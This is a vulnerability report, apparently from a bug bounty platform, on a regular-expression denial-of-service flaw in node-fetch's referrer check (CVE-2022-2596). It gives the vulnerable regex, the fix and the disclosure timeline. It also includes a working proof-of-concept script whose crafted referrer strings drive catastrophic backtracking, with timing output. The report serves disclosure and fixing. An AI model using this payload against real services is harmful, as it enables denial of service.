Inefficient Regular Expression Complexity in node-fetch/node-fetch

1

Valid Reported on Jul 5th 2022

Description

Inefficient regular expression complexity regex when trying to match `Potentially Trustworthy` could lead to a denial of service attack. With a formed payload `'http://' + 'a.a.'.repeat(i) + 'a'`, `76` characters payload could take `42642 ms` time execution.

Proof of Concept

```
// PoC.js
import fetch from 'node-fetch';

for (var i = 1; i <= 1000; i++) {
    var time = Date.now();
    var attack_str = 'http://' + 'a.a.'.repeat(i) + 'a'
    const response = await fetch(
        'https://google.com'/* any valid domain */,
        { "referrer": attack_str }
    )
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cos
}
```

Output

```
attack_str.length: 12: 248 ms
attack_str.length: 16: 242 ms
attack_str.length: 20: 231 ms
```

```
attack_str.length: 24: 231 ms
attack_str.length: 28: 247 ms
attack_str.length: 32: 233 ms

attack_str.length: 36: 218 ms
attack_str.length: 40: 244 ms
attack_str.length: 44: 232 ms
attack_str.length: 48: 230 ms
attack_str.length: 52: 240 ms
attack_str.length: 56: 263 ms
attack_str.length: 60: 406 ms
attack_str.length: 64: 893 ms
attack_str.length: 68: 2908 ms
attack_str.length: 72: 10775 ms
attack_str.length: 76: 42642 ms
```

Impact

Potentially causes a denial of service attack

Occurrences

JS referrer.js L122

```
if (/^(.+\.)*localhost$/.test(url.host)) {
    return false;
}
```

References

- Regular Expression Denial of Service (ReDoS) and Catastrophic Backtracking - Snyk
- Inefficient Regular Expression Complexity potentially leads to Denial of Service in in imbrn/v8n

CVE
CVE-2022-2596
(Published)

Vulnerability Type
CWE-400: Denial of Service

Severity
Medium (5.9)

Registry
Npm

Affected Version
<=3.2.6

Visibility
Public

Status
Fixed

Found by

Khang Vo (doublevkay)
@vovikhangcdv
master

Fixed by

Khang Vo (doublevkay)
@vovikhangcdv
master

This report was seen 869 times.

We are processing your report and will contact the **node-fetch** team within 24 hours.
5 months ago

Khang Vo (doublevkay) submitted a patch 5 months ago

Khang 5 months ago Researcher

Suggestion Fix

Use efficient regex to match the `referrer` header. The patch I submitted is fully tested with backwards compatible

backwards compatible:

```
/^(.+)\.localhost$/
```

We have contacted a member of the **node-fetch** team and are waiting to hear back
5 months ago

We have sent a follow up to the **node-fetch** team. We will try again in 7 days. 5 months ago

We have sent a second follow up to the **node-fetch** team. We will try again in 10 days.
4 months ago

We have sent a third and final follow up to the **node-fetch** team. This report is now considered stale. 4 months ago

Jimmy Wärting validated this vulnerability 4 months ago

Khang Vo (doublevkay) has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Jimmy Wärting marked this as fixed in **3.2.10** with commit **288023** 4 months ago

Khang Vo (doublevkay) has been awarded the fix bounty ✅

This vulnerability will not receive a CVE ❌

referrer.js#L122 has been validated ✅

Khang 4 months ago — Researcher

Hi Jimmy, can we assign CVE for this report?
@maintainer, @admin.

Jamie Slome 4 months ago

Sorted 👍 It should be published shortly :)

Khang 4 months ago Researcher

Thank you, Jamie.

notifications-for-me 4 months ago

The affected version is listed with <=3.2.6.
As discussed in the issue v2 seems not be affected, can the CVE be corrected to exclude v2 versions.

=3.0.0 < 3.2.10

As tools like MEND reporting false positive cases for v2.
@admin

Jamie Slome 4 months ago Admin

Thanks for getting in touch.

I have made the following updates to the CVE here.

Sign in to join this conversation